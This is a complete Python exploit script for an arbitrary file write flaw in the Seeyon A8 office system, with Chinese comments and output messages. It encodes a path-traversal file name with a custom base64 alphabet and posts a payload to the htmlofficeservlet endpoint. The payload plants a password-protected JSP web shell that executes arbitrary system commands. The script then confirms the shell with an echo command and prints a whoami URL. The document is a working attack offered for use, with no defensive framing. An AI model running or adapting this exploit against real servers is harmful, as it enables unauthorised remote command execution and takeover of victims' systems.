致远A8任意文件写入漏洞_getshell_exp

 1 #coding=utf-8
 2 import sys
 3 import requests
 4 
 5 def encode(origin_bytes):
 6     """
 7     重构 base64 编码函数
 8     """
 9     # 将每一位bytes转换为二进制字符串
10     base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"
11     base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes]
12  
13     resp = ''
14     nums = len(base64_bytes) // 3
15     remain = len(base64_bytes) % 3
16  
17     integral_part = base64_bytes[0:3 * nums]
18     while integral_part:
19         # 取三个字节，以每6比特，转换为4个整数
20         tmp_unit = ''.join(integral_part[0:3])
21         tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
22         # 取对应base64字符
23         resp += ''.join([base64_charset[i] for i in tmp_unit])
24         integral_part = integral_part[3:]
25  
26     if remain:
27         # 补齐三个字节，每个字节补充 0000 0000
28         remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
29         # 取三个字节，以每6比特，转换为4个整数
30         # 剩余1字节可构造2个base64字符，补充==；剩余2字节可构造3个base64字符，补充=
31         tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
32         resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='
33  
34     return resp
35 def getshell(urls):
36     url = urls + "/seeyon/htmlofficeservlet"
37     headers = {
38         "Pragma": "no-cache",
39         "Cache-Control": "no-cache",
40         "Upgrade-Insecure-Requests": "1",
41         "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
42         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
43         "Accept-Language": "zh-CN,zh;q=0.9",
44         "Connection": "close",
45     }
46     file_name = encode('..\..\..\ApacheJetspeed\webapps\seeyon\checkload32.jsp')
47     payload = """DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlVr
48 OPTION=S3WYOSWLBSGrr
49 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66r
50 CREATEDATE=wUghPB3szB3Xwg66r
51 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6r
52 originalFileId=wV66r
53 originalCreateDate=wUghPB3szB3Xwg66r
54 FILENAME="""+file_name+"""r
55 needReadFile=yRWZdAS6r
56 originalCreateDate=wLSGP4oEzLKAz4=iz=66r
57 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("zs".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce"""
58     requests.post(url=url,data=payload,headers=headers)
59     result = requests.get(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd+/c+echo+ZuoShou_Jsp_Shell")
60     if 'ZuoShou_Jsp_Shell' in result.text :
61         print(u'Jsp：Getshell成功t{}'.format(urls + "/seeyon/checkload32.jsp?pwd=zs&cmd=cmd /c whoami"))
62     else :
63         print(u'Getshell失败')
64 if __name__ == '__main__':
65     if len(sys.argv)!=2 :
66         print(u"tt用法：python poc.py 'http://loaclhost'")
67     else:
68         url = sys.argv[1]
69         getshell(url)